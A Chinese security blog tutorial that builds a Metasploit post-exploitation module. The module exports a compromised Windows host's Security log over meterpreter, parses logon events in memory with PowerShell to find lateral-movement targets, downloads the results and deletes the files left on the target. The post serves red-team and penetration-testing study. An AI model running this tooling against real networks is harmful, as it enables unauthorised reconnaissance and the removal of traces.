"/>
声明 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 前言 对于Windows安全日志的分析,可以判断出哪些IP对该主机进行登录过。当然,这也可以作为内网横向的目标之一。通过PowerShell就可以完成此操作,但用Metasploit如何实现内存执行ps1呢? EventLog.ps1 首先简单解读下EventLog.ps1:它使用WEVTUtil+PowerShell将外部日志导出csv,此种方法优点就是快,需要导入外部evtx。 Param ( [string]$evtx = $pwd.Path+"\*_Security.evtx" ) $time=Get-Date -Format h:mm:ss $evtx=(Get-Item $evtx).fullname $outfile="C:\Windows\Temp\"+(Get-Item $evtx).BaseName+".csv" $logsize=[int]((Get-Item$evtx).length/1MB) write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green [xml]$xmldoc=WEVTUtil qe $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4624 or EventID=4625)] and EventData[Data[@Name='LogonType']='3'] or EventData[Data[@Name='LogonType']='10']]" /e:root /f:Xml /lf $xmlEvent=$xmldoc.root.Event function OneEventToDict { Param ( $event ) $ret = @{ "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss'; "EventID" = $event.System.EventID } $data=$event.EventData.Data for ($i=0; $i -lt $data.Count; $i++){ $ret.Add($data[$i].name, $data[$i].'# text') } return $ret } filter Convert-DateTimeFormat { Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff') try { ([DateTime]$_).ToString($OutputFormat) } catch {} } $time=Get-Date -Format h:mm:ss write-host [+] $time Extract XML ... -ForegroundColor Green [System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null) for ($i=0; $i -lt $xmlEvent.Count; $i++){ $event = $xmlEvent[$i] $datas = OneEventToDict $event $results.Add((New-Object PSObject -Property $datas))|out-null } $time=Get-Date -Format h:mm:ss write-host [+] $time Dump into CSV: $outfile ... -ForegroundColor Green $results | Select-Object SystemTime,IpAddress,TargetDomainName,TargetUserName,EventID,LogonType | Export-Csv $outfile -NoTypeInformation -UseCulture -Encoding Default -Force EventID=4624 成功登录 ![]() 借助EventLog.ps1,接下来开始编写Metasploit模块。 执行命令 先要导出安全日志,就需要远程执行系统命令,这里使用meterpreter中的execute,并创建随机名字导出。 # 随机字母数字8位 sec = Rex::Text.rand_text_alphanumeric(8) print_good("# {sec}") #lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb # wevtutil.exe管理员权限运行 session.sys.process.execute("wevtutil.exe epl Security C:\\Windows\\Temp\\# {sec}.evtx") ![]() 载入ps1 原本想将EventLog.ps1写在该模块中,之后读取写入在目标机中,再去执行。但.ps1格式需要调整,比较麻烦。 换个思路,本地载入读取。经几番查阅,Metasploit可以内存加载,这样就不需要将脚本上传到目标机中,但需要将EventLog.ps1提前放在/data/post/powershell/EventLog.ps1目录下。(可自定义) command = "C:\\Windows\\Temp\\" + "# {sec}.evtx"
print_good("Start Execute EventLog Script ...") # /data/post/powershell/EventLog.ps1 psh_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "EventLog.ps1")) # 压缩脚本 compressed_script = compress_script(psh_script) + command # print_status("# {compressed_script}") cmd_out, runnings_pids, open_channels = execute_script(compressed_script) while(log = cmd_out.channel.read) print ("# {log}") end end ![]() 注:因是内存加载,目标机不需要开启运行ps1脚本。 ![]() 不要忘记载入Powershell类。 include Msf::Post::Windows::Powershell 文件操作 既然安全日志已经被分析完成了,那就需要将分析结果取回本地,并将遗留在目标中的文件进行删除,这里使用meterpreter中的download与rm。 dir = Msf::Config.loot_directory #lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb session.fs.file.download_file("# {dir}/# {rhost}-Security.csv","C:\\Windows\\Temp\\# {sec}.csv") session.fs.file.rm("C:\\Windows\\Temp\\# {sec}.evtx") session.fs.file.rm("C:\\Windows\\Temp\\# {sec}.csv") 完整模块运行Demo: ![]() References -Metasploit API 网址:https://rapid7.github.io/metasploit-framework/api/) -Metasploit WIKI 网址:https://github.com/rapid7/metasploit-framework/wiki 招聘 安恒雷神众测SRC运营(实习生) 4. 具备美术功底、懂得设计美化等 简历投递至 strategy@dbappsecurity.com.cn 设计师(实习生) ———————— 【职位描述】 简历投递至 strategy@dbappsecurity.com.cn 岗位:红队武器化Golang开发工程师 安全招聘 工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂… 岗位:安全红队武器自动化工程师 简历投递至 strategy@dbappsecurity.com.cn ![]() 专注渗透测试技术 全球最新网络攻击技术 END ![]() 上一篇:温故知新:Web渗透信息收集 下一篇:【代码审计】PHP代码审计之CTF系列(3) |